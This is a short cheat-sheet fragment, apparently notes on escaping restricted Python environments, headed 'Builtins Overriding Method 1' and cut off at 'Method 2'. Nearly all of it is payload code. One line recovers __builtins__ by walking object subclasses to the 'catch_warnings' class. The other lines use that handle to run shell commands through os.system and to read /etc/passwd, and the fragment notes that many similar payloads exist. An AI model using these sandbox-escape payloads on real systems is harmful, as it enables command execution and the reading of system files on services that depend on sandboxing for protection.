Built-in Functions https://docs.python.org/3/library/functions.html Builtins Overriding Method 1 # Setting up builtins for execution __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ # Things you can do: __builtins__["__import__"]('os').system('ls') __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands Method 2